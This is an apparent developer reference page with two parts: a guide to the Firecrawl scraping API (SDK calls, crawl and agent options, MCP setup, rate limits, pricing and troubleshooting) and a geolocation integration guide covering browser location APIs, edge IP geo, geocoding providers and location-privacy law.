Universal Scrape (2026-10-08): the same endpoint reads PDFs, images, Word, Excel and PowerPoint by URL, and runs Alexandria provider calls (below). LinkedIn profile/company URLs are not scraped: they are answered by enrichment providers your org enables (Apollo 30, Data Legion 10/40, FullEnrich 5 credits per lookup). x.com / twitter.com URLs go through xAI's Grok API at 30 credits per request.

Caching (maxAge, minAge, storeInCache, lockdown)

Actions and Interact (dynamic pages)

Pass an actions array to drive the browser before extraction:

const dynamicPage = await firecrawl.scrape("https://example.com", {
  actions: [
    { type: "wait", milliseconds: 1000 },
    { type: "click", selector: "#accept" },
    { type: "write", text: "firecrawl" },
    { type: "press", key: "Enter" },
    { type: "scroll", direction: "down" },
    { type: "screenshot" },
  ],
  formats: ["markdown"],
});

For multi-step work, keep the browser alive with Interact on the scrape's scrapeId, by prompt or by code:

const scrapeId = dynamicPage.metadata?.scrapeId;
if (scrapeId) {
  const step = await firecrawl.interact(scrapeId, {
    prompt: "Click the pricing tab and list each plan name",
  });
  console.log(step.stdout);
  await firecrawl.stopInteraction(scrapeId); // always release the session
}

Interact bills per browser minute with a one-minute minimum: 7 credits/min with a prompt, 2 credits/min for code only (+2/min with ZDR). The standalone Browser Sandbox (firecrawl.browser({ ttl }) → cdpUrl, liveViewUrl; browserExecute, listBrowsers, deleteBrowser) gives you a CDP URL for Playwright. Persistent profile: { name, saveChanges } keeps cookies across sessions.

/search: web search → scraped results

const results = await firecrawl.search("best dash cams 2026", {
  limit: 5,                 // applies per source
  sources: ["web", "news"], // also "images", "alexandria"
  tbs: "qdr:m",             // time filter; web results only
  location: "Germany",
  scrapeOptions: { formats: ["markdown"], onlyMainContent: true },
});
console.log(results.web?.length, results.news?.length);

/map: URL discovery

const siteMap = await firecrawl.map("https://docs.firecrawl.dev", {
  search: "webhook", // rank URLs by relevance
  limit: 100,
  sitemap: "include", // "include" | "skip" | "only"
});
const urls = siteMap.links.map((link) => link.url); // links are objects in SDK v4

map costs 1 credit per call, however many URLs it returns. It is the cheap reconnaissance step before a crawl.

/crawl: recursive site crawl (async job)

const crawlJob = await firecrawl.crawl("https://docs.firecrawl.dev", {
  limit: 100, // default is 10,000: always set it
  includePaths: ["^/features/.*"], // regex on the pathname
  excludePaths: ["^/blog/.*"],
  maxDiscoveryDepth: 3,
  sitemap: "include",
  scrapeOptions: { formats: ["markdown"], onlyMainContent: true },
});
console.log(crawlJob.status, crawlJob.data.length);

// Start-and-poll for long crawls (or attach a webhook)
const { id: crawlId } = await firecrawl.startCrawl("https://docs.firecrawl.dev", { limit: 500 });
const crawlStatus = await firecrawl.getCrawlStatus(crawlId);
const crawlErrors = await firecrawl.getCrawlErrors(crawlId); // pages that never made it into data
console.log(crawlStatus.completed, crawlStatus.total, crawlErrors.errors.length);

Crawl gotchas:

Structured extraction: json format, agent, and the retired /extract

You have… Use Cost
One known URL scrape with { type: "json", schema, prompt } 5 credits/page (1 + 4)
A prompt, no URLs (or a few seed URLs) agent({ prompt, schema, maxCredits }) Dynamic; 5 free runs/day
Old extract() code Migrate. /extract is in maintenance mode and extract / startExtract / getExtractStatus are @deprecated in SDK 4.50. It bills by tokens (1 credit = 15 tokens) Token-based
import { z } from "zod";

const Plan = z.object({ name: z.string(), monthlyPrice: z.string() });
const Pricing = z.object({ plans: z.array(Plan) });

const pricingPage = await firecrawl.scrape("https://example.com/pricing", {
  formats: [
    {
      type: "json",
      schema: z.toJSONSchema(Pricing), // SDK 4.50 bundles zod 3; pass JSON Schema from zod 4
      prompt: "Extract every plan and its monthly price.",
    },
  ],
});
const pricing = Pricing.safeParse(pricingPage.json);

const research = await firecrawl.agent({
  prompt: "Find the founders of Firecrawl and their roles",
  schema: z.toJSONSchema(z.object({ founders: z.array(z.object({ name: z.string(), role: z.string() })) })),
  maxCredits: 150,
});
if (research.status === "failed" && research.stopReason === "credit_limit_reached") {
  // research.partial is best-effort; continue the thread with a follow-up prompt and a new budget
}
console.log(pricing.success, research.creditsUsed);

Agent notes: every run uses spark-2 (Spark 1 names are deprecated and route to spark-2). Most runs use "a few hundred" credits; the dashboard caps maxCredits at 2,500 (higher values only through the API, always billed). A run returns roughly 150-200 rows; split bigger jobs. Use startAgent + getAgentStatus (or agent.* webhooks) for long runs; getAgentTrace / getAgentSnapshot show what it did. Send exchange: { enabled: true } to let an agent call your team's Alexandria providers.

JSON extraction tips from the docs: use type: "array" for lists, skip minItems/maxItems (they cause hallucinated items), and remember HTML attributes are invisible to JSON mode (use rawHtml or the attributes format). Opt-in checkPromptInjection (+4 credits) screens page content before your LLM sees it.

Alexandria: third-party data providers through scrape

Alexandria (launched 2026-09-22) is Firecrawl's catalogue of 100+ official data providers (Particle podcasts, CoinGecko, FRED, SEC EDGAR, Yahoo Finance, Apollo, FullEnrich, Data Legion, Fiscal.ai, Benzinga, and more). It needs an API key; keyless sessions get no Alexandria tools.

// 1. Discover (free): tools only
const found = await firecrawl.search("podcast conversations about AI agents", {
  sources: ["alexandria"],
  limit: 3,
});
console.log(found.tools?.map((t) => `${t.provider}/${t.capability} ${t.creditsCost ?? "?"}cr`));

// 2. Inspect contracts (free)
const catalogue = await firecrawl.findTools({ providers: ["particle"], expand: ["options", "response"] });

// 3. Execute (billed at the tool's listed price)
const run = await firecrawl.scrape({
  alexandria: {
    provider: "particle",
    capability: "podcasts/episodes/search",
    options: { semantic_search: "AI agents", limit: 2 },
  },
});
for (const item of run.alexandria) {
  if (item.error) console.error(item.error.code, item.error.message);
  else console.log(item.data);
}
console.log(catalogue.total);

Monitors: scheduled change detection

const monitor = await firecrawl.createMonitor({
  name: "Competitor pricing",
  schedule: { text: "daily at 9am", timezone: "America/New_York" }, // or { cron: "*/30 * * * *" }
  goal: "Alert when a plan name or price changes.",
  judgeEnabled: true,
  targets: [{ type: "scrape", urls: ["https://example.com/pricing"] }],
  notification: { email: { enabled: true, recipients: ["alerts@example.com"], includeDiffs: true } },
});
console.log(monitor.id, monitor.estimatedCreditsPerMonth);

Targets are scrape (known URLs), crawl (whole site) or search (new web results), 1-50 per monitor, minimum interval 5 minutes, retentionDays 30 (max 365). No per-monitor fee: 1 credit per URL per check for scrape, 1 per discovered page for crawl, 2 per 10 results for search, plus 1 credit per changed page the AI judge validates. Out of credits → checks are recorded as skipped_no_credits (not charged, not paused).

/parse: local files → markdown / JSON

const parsed = await firecrawl.parse(
  { data: "<html><body><h1>Invoice</h1></body></html>", filename: "invoice.html", contentType: "text/html" },
  { formats: ["markdown"] },
);
console.log(parsed.markdown);

PDF, Word, Excel, PowerPoint, OpenDocument, EPUB, CSV and HTML; max 50 MB per request; layout-aware with OCR fallback; PDFs bill 1 credit per page. Parse also works keyless.

Proxies

proxy: "auto" (default and recommended) tries a basic proxy and escalates to enhanced on failure. Enhanced costs the same 1 credit as basic, and an escalated retry is not charged separately. Manual proxy selection is deprecated; "stealth" is still accepted as a legacy alias. Without location, requests go out through US proxies.


Developer Resources

Official packages (verified 2026-10-20)

Package Version Notes
npm firecrawl 4.50.0 Docs-recommended name
npm @mendable/firecrawl-js 4.50.0 Same releases under the old scoped name; still published, not deprecated
PyPI firecrawl-py 4.53.2 Python ≥3.8; Firecrawl and AsyncFirecrawl
PyPI firecrawl 4.53.2 Same SDK; the Python docs now pip install firecrawl
npm firecrawl-aisdk 0.13.1 Vercel AI SDK tools; peer ai ^6 or ^7
npm firecrawl-mcp 3.33.4 Local MCP server (docs pin 3.33.2); Node ≥22
npm firecrawl-cli 1.26.15 firecrawl CLI; npx -y firecrawl-cli@latest init --all --browser installs agent skills

Official SDKs also exist for Go, Rust, Java, .NET, PHP, Ruby and Elixir. The deprecated v1 method names (crawlUrl, scrapeUrl, asyncCrawlUrl) only exist on the legacy FirecrawlAppV1 export.

Account/usage helpers on the Node client: getCreditUsage() (remainingCredits, planCredits, billing period), getTokenUsage(), getConcurrency(), getQueueStatus().

Vercel AI SDK (firecrawl-aisdk)

import { generateText, stepCountIs } from "ai";
import { FirecrawlTools } from "firecrawl-aisdk";

const { systemPrompt, ...tools } = FirecrawlTools(); // search + scrape + interact by default
const { text } = await generateText({
  model: "anthropic/claude-sonnet-5.5", // AI Gateway string; or anthropic("...") from @ai-sdk/anthropic
  system: systemPrompt,
  tools,
  stopWhen: stepCountIs(20),
  prompt: "Find Firecrawl's current pricing page and explain the plans.",
});
console.log(text);

Individual exports: search, scrape, map, crawl, batchScrape, agent, interact (with start(url) / close() / live view), job helpers poll, status, cancel, and stepLogger / logStep. Opt in with FirecrawlTools({ crawl: true, agent: true }) or { all: true }. browser() is deprecated in favour of interact(). Alternatively, connect the hosted MCP server with createMCPClient from @ai-sdk/mcp (see examples/ai-sdk-tools.ts).

MCP server

Mode URL / command Tools
Hosted keyless https://mcp.firecrawl.dev/v2/mcp (no header) firecrawl_search, firecrawl_scrape, firecrawl_parse
Hosted API key same URL + Authorization: Bearer fc-... Full surface (plan / team policy permitting)
Hosted OAuth https://mcp.firecrawl.dev/v2/mcp-oauth Full surface; browser sign-in, revoke in MCP settings
Local npx -y firecrawl-mcp with FIRECRAWL_API_KEY (stdio) or HTTP_STREAMABLE_SERVER=true (http://localhost:3000/mcp) API-backed tools; local-file parse needs a self-hosted API
Claude.ai / ChatGPT Native Firecrawl connector (claude.ai/directory/connectors/firecrawl) Full surface after sign-in
# Claude Code: sign in once with OAuth (recommended over pasting a key)
claude mcp add --transport http firecrawl https://mcp.firecrawl.dev/v2/mcp-oauth

Full tool surface: firecrawl_scrape (incl. json format and alexandria), firecrawl_search, firecrawl_map, firecrawl_crawl + firecrawl_check_crawl_status, firecrawl_agent + firecrawl_agent_status, firecrawl_interact + firecrawl_interact_stop, firecrawl_parse, firecrawl_find_tools, firecrawl_research_*, firecrawl_developer_search, firecrawl_gov_search, firecrawl_monitor_*, firecrawl_search_feedback, firecrawl_feedback. The old Extract MCP tool is gone. A 401 on /v2/mcp-oauth means sign in again; on /v2/mcp it means the key is wrong.

Self-hosting / open source

github.com/firecrawl/firecrawl is open source (AGPL-3.0) and self-hostable for data residency. The cloud adds managed proxies/anti-bot, Alexandria, the indexes, and services such as product extraction (self-hosters must set PRODUCT_EXTRACTION_SERVICE_URL). Decision guide: docs.firecrawl.dev/contributing/open-source-or-cloud.

Rate limits and concurrency (verified 2026-10-20)

Two independent ceilings, applied per team (all keys share them); exceeding either returns 429.

Requests per minute:

Plan /scrape /map /crawl /search /agent /crawl/status, /agent/status
Free 10 10 2 10 2 500
Hobby 100 100 20 100 20 5,000
Standard 500 500 100 500 100 25,000
Growth 5,000 5,000 1,000 5,000 1,000 250,000
Scale 10,000 10,000 2,000 10,000 2,000 500,000

Extract shares the /agent limits. Interact: /interact 2 / 20 / 100 / 1,000 / 1,500 and /interact/{id}/execute 10 / 100 / 500 / 5,000 / 7,500 per minute (Free → Scale).

Concurrent browsers / max queued jobs: Free 2 / 50k, Hobby 5 / 50k, Standard 25 / 50k, Growth 50 / 100k, Scale/Enterprise 100+ / 200k+. Jobs over the ceiling queue (queue time counts against timeout; queued jobs expire after 48 h). Check headroom with getQueueStatus() / getConcurrency().

Retry / backoff

The SDK retries transient failures (maxRetries, backoffFactor). In your own loops, retry 408, 429, 500, 502, 503, 504 with exponential backoff + jitter and honour the Retry-After header on 429. For 429 Concurrency limit reached, lower concurrency instead of hammering. 402 means out of credits (or a per-key spend limit) and is not transient.

Webhooks (crawl, batch scrape, extract, agent, monitor)

// POST https://api.firecrawl.dev/v2/crawl
{
  "url": "https://docs.firecrawl.dev",
  "limit": 100,
  "webhook": {
    "url": "https://your-domain.com/api/webhooks/firecrawl",
    "metadata": { "tenant": "acme" },
    "events": ["started", "page", "completed"]
  }
}

Event types: crawl.started|page|completed, batch_scrape.started|page|completed, extract.started|completed|failed, agent.started|action|completed|failed|cancelled, monitor.page, monitor.check.completed. Payload: { success, type, id, webhookId, data, metadata, error? }. Every request carries X-Firecrawl-Signature: sha256=<hex>, an HMAC-SHA256 of the raw body with the account webhook secret (Settings → Advanced). Verify with a timing-safe compare before processing (see examples/webhook-route.ts).


Pricing (verify live before quoting)

Figures from firecrawl.dev/pricing and docs.firecrawl.dev/billing on 2026-10-20. The pricing page shows annual billing by default. All invoices are in USD.

Plan Annual (eff. /mo) Monthly billing Credits / mo Concurrent browsers PAYG credits per 5 USD
Free $0, no card n/a 1,000 2 not available
Hobby $16 $19 5,000 5 1,000
Standard (recommended) $83 ≈$99 † 100,000 25 2,000
Growth $333 ≈$399 † 500,000 50 2,500
Scale $599 ≈$749 † 1,000,000 100 5,000
Enterprise Custom Custom Custom Custom SSO, ZDR, SLA, SIEM

† Derived from the "Save $X/yr" figures on the pricing page; only the Hobby monthly price is stated outright. Confirm before quoting.

Plans can also be bought through AWS Marketplace and Google Cloud Marketplace (private offers, draws down cloud commits).

Credit costs

Action Credits
Scrape / crawl / batch scrape 1 per page
Map 1 per call
Search 2 per 10 results (+ scrape cost per scraped result)
Interact / Browser 2 per browser-minute (code) · 7 (with prompt) · +2 with ZDR · 1-minute minimum
Agent Dynamic; 5 free runs/day; "a few hundred" per typical run
Monitor Underlying scrape/crawl/search + 1 per judged changed page
Alexandria execution The tool's listed price (discovery free)
json, question, query, highlights, audio, video, redactPII, checkPromptInjection +4 per page each (they stack)
PDF +1 per PDF page
ZDR +1 per page
lockdown +4 on a cache hit, 1 on a miss
Enhanced proxy +0
Threat protection scan 2 per scanned URL
x.com via Grok 30 per request
LinkedIn via enrichment providers 5-40 per lookup

Credits are charged when Firecrawl returns a document, including target-side 403/404 pages; outright failures are free. Batch and crawl credits post asynchronously as pages finish.

Running out, overage and rollover


Usage Monitoring


codeAmani notes


Troubleshooting

Issue Fix
429 with no key / KEYLESS_* MCP error Keyless per-IP daily cap or a refused network (VPN). Add FIRECRAWL_API_KEY, or switch MCP to /v2/mcp-oauth
401 Unauthorized Key missing or wrong (fc- prefix). For MCP, /v2/mcp-oauth → sign in again; /v2/mcp → replace the bearer key
402 Payment Required Out of credits, PAYG off or capped, or a per-key spend limit. Raise the cap, upgrade, or wait for reset
429 Rate limit exceeded Back off and honour Retry-After; upgrade if sustained
429 Concurrency limit reached / jobs stuck queued Too many parallel browsers for the plan (Standard is now 25). Lower maxConcurrency or batch size
extract() shows deprecated /extract is in maintenance mode. Move to scrape + json or agent
map result .links is not string[] SDK v4 returns { url, title?, description? } objects: map to link.url
Zod schema ignored or mis-converted SDK bundles zod 3. Pass z.toJSONSchema(schema) from zod 4
Empty / nav-only markdown JS-heavy SPA: add waitFor, actions, or use Interact
Stale content Default cache is 2 days. Pass a smaller maxAge or 0
404 SCRAPE_NO_CACHED_DATA You set minAge (cache-only) and nothing was cached
THIRD_PARTY_DATA_TERMS_REQUIRED Org admin accepts the provider terms at requiresAction.url
Crawl missing sibling/parent pages Children-only by default: set crawlEntireDomain / allowSubdomains
Crawl results gone API keeps results 24 h; then use activity logs
Research category results moved After 2026-11-16 categories: ["research"] returns data.research paper records
Old crawlUrl() / scrapeUrl() v1 method names. Use scrape, crawl, getCrawlStatus on SDK v4

Verification Status (2026-10-20)

Official docs:

Geolocation Integration Guide

Technology: geolocation · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/geolocation

Insight:

Location comes from three very different places — the device (GPS-precise, but consent- and HTTPS-gated, foreground-only), the edge (Vercel/Cloudflare stamp a city-level guess from the IP onto every request, free and silent), and a geocoding provider (turns pins into addresses and back, billed per SKU since Google retired the $200 credit in March 2025). The hard part isn't the API, it's the law: a stored lat/lng accurate to ~1,750–1,850 ft is "precise geolocation", which California treats as sensitive personal information and Virginia/Oregon forbid selling. codeAmani defaults from the IP, asks for the precise signal only when a feature needs it, rounds before storing, and never sells or shares it.

 ██████╗ ███████╗ ██████╗ ██╗      ██████╗  ██████╗ █████╗ ████████╗██╗ ██████╗ ███╗   ██╗
██╔════╝ ██╔════╝██╔═══██╗██║     ██╔═══██╗██╔════╝██╔══██╗╚══██╔══╝██║██╔═══██╗████╗  ██║
██║  ███╗█████╗  ██║   ██║██║     ██║   ██║██║     ███████║   ██║   ██║██║   ██║██╔██╗ ██║
██║   ██║██╔══╝  ██║   ██║██║     ██║   ██║██║     ██╔══██║   ██║   ██║██║   ██║██║╚██╗██║
╚██████╔╝███████╗╚██████╔╝███████╗╚██████╔╝╚██████╗██║  ██║   ██║   ██║╚██████╔╝██║ ╚████║
 ╚═════╝ ╚══════╝ ╚═════╝ ╚══════╝ ╚═════╝  ╚═════╝╚═╝  ╚═╝   ╚═╝   ╚═╝ ╚═════╝ ╚═╝  ╚═══╝

Geolocation Integration Guide

Focus: know where a user is with the least precision the feature needs — default from the request IP at the edge, ask the browser for a GPS fix only with explicit, revocable consent, turn coordinates into addresses server-side, and treat every stored lat/lng as sensitive personal data under US state privacy law (and KDPA 2019 on Kenya-targeted projects).

Overview

There are three sources of "where", at opposite ends of the precision/consent spectrum:

Source How Precision Consent Cost
Device (navigator.geolocation) GPS / Wi-Fi / cell, in the browser metres Browser prompt, HTTPS only, revocable Free; battery
Edge IP geo Vercel geolocation(request) / x-vercel-ip-*; Cloudflare request.cf city (often wrong on mobile/VPN) None (but the IP is still personal data) Free, zero extra calls
Geocoding / Places provider Google Maps Platform, Mapbox, Nominatim — server-side address ↔ point n/a (you send it data you already hold) Per-request, per-SKU

A good product renders immediately from the IP default, asks for the precise signal from a user gesture only when the feature needs it (map pin, nearest store, live delivery), and degrades gracefully when permission is denied.

Hard truths that shape every integration:

Official Documentation

Source URL What it covers
MDN Geolocation API https://developer.mozilla.org/en-US/docs/Web/API/Geolocation_API getCurrentPosition, PositionOptions, errors, secure context, Permissions-Policy
MDN watchPosition https://developer.mozilla.org/en-US/docs/Web/API/Geolocation/watchPosition Watcher signature, clearWatch
MDN Permissions API https://developer.mozilla.org/en-US/docs/Web/API/Permissions_API navigator.permissions.query, change event
MDN <geolocation> element https://developer.mozilla.org/en-US/docs/Web/HTML/Reference/Elements/geolocation Experimental declarative permission control (Chrome 144+)
W3C Geolocation spec https://www.w3.org/TR/geolocation/ Normative model, privacy requirements
@vercel/functions reference https://vercel.com/docs/functions/functions-api-reference/vercel-functions-package geolocation(), ipAddress()
Vercel request headers https://vercel.com/docs/headers/request-headers x-vercel-ip-country, -country-region, -city, -latitude, -longitude, -timezone, -continent, -postal-code
Cloudflare Request (request.cf) https://developers.cloudflare.com/workers/runtime-apis/request/ IncomingRequestCfProperties geo fields
Google Geocoding API v4 https://developers.google.com/maps/documentation/geocoding/geocoding-v4-overview Forward / reverse / place geocoding, destinations
Google Places API (New) https://developers.google.com/maps/documentation/places/web-service/nearby-search Nearby / Text Search, Autocomplete, field masks
Google Maps Platform pricing https://developers.google.com/maps/billing-and-pricing/pricing Per-SKU free caps (since 2025-03-01)
Mapbox Geocoding v6 https://docs.mapbox.com/api/search/geocoding/ Forward / reverse, temporary vs permanent
Nominatim usage policy https://operations.osmfoundation.org/policies/nominatim/ Public OSM geocoder rules (1 req/s, forbidden uses)

Versions & prices (verified 2026-10-20)

Item Value
@vercel/functions 3.10.1
@cloudflare/workers-types 5.20261019.1 (or generate with wrangler types)
next 16.4.2 (middleware.ts is now proxy.ts)
Google Geocoding (Essentials) 10,000 free / month, then $5.00 / 1,000
Google Places Nearby Search Pro / Text Search Pro 5,000 free / month, then $32.00 / 1,000
Google Place Details Essentials / Pro 10,000 / 5,000 free, then $5.00 / $17.00 per 1,000
Google Autocomplete Requests 10,000 free, then $2.83 / 1,000 (Session Usage: unlimited free)
Google Dynamic Maps / Static Maps 10,000 free, then $7.00 / $2.00 per 1,000
Mapbox Temporary Geocoding 100,000 free / month, then $0.75 / 1,000
Mapbox Permanent Geocoding no free tier, $5.00 / 1,000 (1–500k)
Mapbox Map Loads (GL JS) 50,000 free, then $5.00 / 1,000
Nominatim (public OSM server) free, max 1 req/s, strict usage policy

The shape of a position

A success callback receives a GeolocationPosition: a coords object plus a timestamp (epoch ms).

coords field Meaning Notes
latitude / longitude WGS84 decimal degrees (numbers) The PII. Treat as sensitive.
accuracy Radius of confidence, metres Always present. ~5–20 m with GPS, hundreds with Wi-Fi.
altitude / altitudeAccuracy Metres null on most phones.
heading Degrees from true north null when stationary.
speed m/s null unless moving.
Error code Constant Your move
1 PERMISSION_DENIED Fall back to IP / manual entry. The browser won't re-prompt.
2 POSITION_UNAVAILABLE Retry or fall back.
3 TIMEOUT Retry with a longer timeout.
interface PositionOptions {
  enableHighAccuracy?: boolean; // default false — true asks for GPS (slower, more battery)
  timeout?: number;             // default Infinity (ms) — max wait for a fix
  maximumAge?: number;          // default 0 (ms) — accept a cached fix up to this old
}

Pattern 1 — check permission, then getCurrentPosition

Query the Permissions API first so you can tailor the UX; trigger the prompt from a user gesture after explaining why.

// lib/geolocation.ts — full version in examples/browser-geo.ts
export type GeoState = "granted" | "denied" | "prompt" | "unsupported";

export async function getGeoPermission(): Promise<GeoState> {
  if (typeof navigator === "undefined" || !("geolocation" in navigator)) return "unsupported";
  if (!("permissions" in navigator)) return "prompt";
  try {
    const status = await navigator.permissions.query({ name: "geolocation" });
    return status.state; // "granted" | "denied" | "prompt"
  } catch {
    return "prompt";
  }
}

export function getCurrentPosition(
  options: PositionOptions = { enableHighAccuracy: true, timeout: 10_000, maximumAge: 60_000 },
): Promise<GeolocationPosition> {
  return new Promise((resolve, reject) => {
    navigator.geolocation.getCurrentPosition(resolve, reject, options);
  });
}
flowchart TD
    A["Feature needs location"] --> B{"navigator.geolocation exists?"}
    B -->|"no"| F["IP default / manual address entry"]
    B -->|"yes"| C["permissions.query(geolocation)"]
    C --> D{"state?"}
    D -->|"granted"| G["getCurrentPosition · use fix"]
    D -->|"prompt"| E["Show rationale · user gesture triggers prompt"]
    D -->|"denied"| F
    E --> H{"User choice"}
    H -->|"allow"| G
    H -->|"block"| F

Progressive enhancement: the <geolocation> element (experimental)

MDN now documents a declarative <geolocation> HTML element (HTMLGeolocationElement) that renders a browser-controlled "use location" button with a consistent permission UI. It is experimental, not Baseline — Chrome / Chrome Android 144+ only. Attributes include autolocate and watch; read element.position / element.error in its location event. Feature-detect with typeof HTMLGeolocationElement === "function" and keep the navigator.geolocation path as the fallback (put the fallback button inside the element). Don't build a product flow that depends on it yet.

iframes

The geolocation Permissions-Policy directive defaults to self. An embedded third-party map/widget needs <iframe src="…" allow="geolocation"> (and your Permissions-Policy header must not block it).


Pattern 2 — watchPosition with React cleanup

watchPosition fires on position change and returns an id you must pass to clearWatch.

"use client";
import { useEffect, useState } from "react";

type Fix = { lat: number; lng: number; accuracy: number; at: number };

export function useWatchPosition(active: boolean) {
  const [fix, setFix] = useState<Fix | null>(null);
  const [error, setError] = useState<string | null>(null);

  useEffect(() => {
    if (!active || typeof navigator === "undefined" || !("geolocation" in navigator)) return;

    const watchId = navigator.geolocation.watchPosition(
      (pos) => {
        const c = pos.coords;
        setFix({ lat: c.latitude, lng: c.longitude, accuracy: c.accuracy, at: pos.timestamp });
        setError(null);
      },
      (err) => setError(`(${err.code}) ${err.message}`),
      { enableHighAccuracy: true, timeout: 15_000, maximumAge: 5_000 },
    );

    return () => navigator.geolocation.clearWatch(watchId); // release the GPS radio
  }, [active]);

  return { fix, error };
}

Foreground only. Once the tab is backgrounded or closed, updates stop. For genuine background tracking you need a native app (or the WhatsApp "share live location" feature on Kenya-targeted projects); design ops flows around periodic foreground check-ins.

Accuracy & battery trade-offs

Goal enableHighAccuracy maximumAge Source Cost
Rough default (store finder centre) false large (5 min) Wi-Fi/cell/cache cheap
One-off pin on a map true 0 GPS one GPS wake
Live route tracking true small (5 s) GPS continuous battery-heavy

Request high accuracy only when the UI plots a precise point; stop watchers the moment the screen isn't visible; gate continuous tracking behind an explicit "I'm on a delivery" state.

Geofencing (foreground)

No native web geofence. Keep a target point + radius and compute haversine distance on each watchPosition tick:

export function distanceMeters(a: [number, number], b: [number, number]): number {
  const R = 6_371_000;
  const toRad = (d: number) => (d * Math.PI) / 180;
  const dLat = toRad(b[0] - a[0]);
  const dLng = toRad(b[1] - a[1]);
  const h =
    Math.sin(dLat / 2) ** 2 +
    Math.cos(toRad(a[0])) * Math.cos(toRad(b[0])) * Math.sin(dLng / 2) ** 2;
  return 2 * R * Math.asin(Math.sqrt(h));
}
// inside watchPosition success: if (distanceMeters(here, dropoff) < 50) markArrived();

Server-side / background geofencing: push points to the backend and evaluate there (PostGIS ST_DWithin(geog, ST_MakePoint(lng, lat)::geography, meters)). Note PostGIS and GeoJSON order is lng, lat.


Vercel — geolocation(request) from @vercel/functions

geolocation() just reads the x-vercel-ip-* headers Vercel's proxy injects, so it works in any Vercel Function runtime (Node.js default or Edge), in route handlers, and in the Next.js 16 proxy.ts. NextRequest.geo / NextRequest.ip were removed in Next.js 15.

// app/api/geo/route.ts — full version in examples/edge-geo.ts
import { geolocation } from "@vercel/functions";

export function GET(request: Request) {
  const geo = geolocation(request);
  return Response.json({
    country: geo.country ?? "US",            // ISO 3166-1 alpha-2
    countryRegion: geo.countryRegion ?? null, // e.g. "FL" — the user's state
    city: geo.city ? decodeURIComponent(geo.city) : null,
    timezone: request.headers.get("x-vercel-ip-timezone"), // not in geolocation()
    source: "ip",
    precise: false,
  });
}

Gotchas (verified against the package's Geo type, v3.10.1):

Next.js 16: the middleware file convention is deprecated and renamed proxy (export function proxy(request), default runtime Node.js). See examples/proxy.ts.

Cloudflare Workers — request.cf

// full version in examples/cloudflare-geo.ts
export default {
  async fetch(request: Request): Promise<Response> {
    const cf = request.cf as IncomingRequestCfProperties | undefined;
    const country = cf?.country ?? request.headers.get("CF-IPCountry") ?? "US";
    return Response.json({ country, regionCode: cf?.regionCode ?? null, city: cf?.city ?? null });
  },
} satisfies ExportedHandler;

request.cf geo fields: country, city, continent, region (name, e.g. "Texas"), regionCode ("TX"), postalCode, metroCode, latitude/longitude (strings), timezone, isEUCountry, plus colo (data centre) and asn. Not populated in the dashboard/Playground preview.

Accuracy ceiling: city, and often wrong. Mobile carrier NAT (very common in Kenya, common on US carriers too) and VPNs skew results by city or country. Use IP geo to default a locale/currency/store, never for access control, fraud decisions, or tax.


Geocoding & places (server-side only)

Coordinates mean nothing to a customer; addresses do. Geocoding is always a server-side call so the key never ships to the browser. (A Maps JavaScript API key in the browser is normal, but it must be a separate key restricted by HTTP referrer and to the Maps JS API only.)

Google Maps Platform

// Reverse geocode (v4) — full helpers incl. Places Nearby + Mapbox fallback in examples/geocode-server.ts
const res = await fetch(`https://geocode.googleapis.com/v4/geocode/location/${lat},${lng}`, {
  headers: {
    "X-Goog-Api-Key": process.env.GOOGLE_MAPS_API_KEY ?? "",
    "X-Goog-FieldMask": "results.formattedAddress,results.location,results.granularity,results.placeId",
  },
});
const { results = [] } = (await res.json()) as {
  results?: Array<{ formattedAddress?: string; granularity?: string }>;
};
const address = results[0]?.formattedAddress ?? null;

Google's Maps Platform terms restrict caching/storing most returned content — read the service-specific terms before persisting addresses or coordinates that came from Google (persisting the coordinates the user gave you, e.g. a pin, is your own data).

Mapbox Geocoding v6

Nominatim (OpenStreetMap)

The public server (nominatim.openstreetmap.org) is donated capacity with a strict policy: max 1 request/second per application, a real identifying User-Agent/Referer, visible OSM attribution (ODbL), cache results, and be able to switch providers without an app update. Forbidden: client-side autocomplete, systematic/grid reverse queries, and using it as the geocoder for package/vehicle-tracking apps or reselling results. That rules it out for delivery/dispatch products (e.g. boda dispatch) and for production autocomplete. Use it only for low-volume, user-triggered lookups in internal tools — or self-host Nominatim / use a commercial OSM-based provider.

Provider choice

Need Default pick
US address search / autocomplete in a product Google Places API (New) Autocomplete + session tokens, or Mapbox Search Box
Reverse-geocode a pin for display Google Geocoding v4 (10k free) → Mapbox Temporary (100k free) fallback
Store geocoded results permanently Mapbox Permanent Geocoding, or Google with terms check
"Nearest X" over your own locations PostGIS / haversine in your DB — no Places call at all
Internal/low-volume tooling Nominatim (within policy)

Kenya addressing & pin-drop (Kenya-targeted projects only)

Most Kenyan deliveries have no usable street address — people give landmarks ("opposite Naivas, blue gate"). So for Kenya-targeted products:


Privacy & compliance

Engineering guidance, not legal advice — confirm with counsel before launching location features.

United States (default)

Law What it says about location Engineering consequence
California CCPA/CPRA (Civ. Code §1798.140) "Precise geolocation" = device data locating a consumer within a circle of 1,850 ft radius; it is sensitive personal information Disclose it at collection; honour the "Limit the Use of My Sensitive Personal Information" right — use it only for the service the user asked for
Virginia CDPA (§59.1-575, -578) "Precise geolocation data" = within 1,750 ft; sensitive data → opt-in consent to process; controllers must not sell or offer for sale precise geolocation data Explicit consent before collecting; no selling/sharing for consideration, ever
Oregon OCPA (HB 2008) Sale of precise geolocation (1,750 ft, past or present) banned since 2026-01-01, for all consumers Same: never sell; check every analytics/ads SDK that might receive it
Other state comprehensive privacy laws (Colorado, Connecticut, Texas, Maryland, …) Commonly list precise geolocation as sensitive data needing consent; Maryland's MODPA is stricter still (not re-verified in the 2026-10-20 refresh — check each statute) Design to the strictest: consent, minimisation, no sale
FTC Act §5 The FTC has pursued unfair-practice cases over selling/sharing sensitive location data (not re-verified this refresh) Don't pass raw location to ad/data-broker SDKs

Design rules that satisfy all of the above:

Kenya-targeted projects — KDPA 2019

Location is personal data under Kenya's Data Protection Act, 2019. Same playbook: lawful basis (usually consent — freely given, specific, informed, revocable), purpose limitation, minimisation, defined retention, data-subject rights (access, correction, erasure), and registration with the ODPC where required. See COMPLIANCE_GUIDE.md.


Environment variables

Secrets (store via the secrets vault / Vercel env, never NEXT_PUBLIC_*):

GOOGLE_MAPS_API_KEY=AIza...server-restricted
MAPBOX_ACCESS_TOKEN=pk.eyJ...server-side-token

Non-secret settings:

Setting Example Notes
NEXT_PUBLIC_GOOGLE_MAPS_BROWSER_KEY AIza… Separate key, HTTP-referrer-restricted to your domains and to Maps JavaScript API only. Public by design.
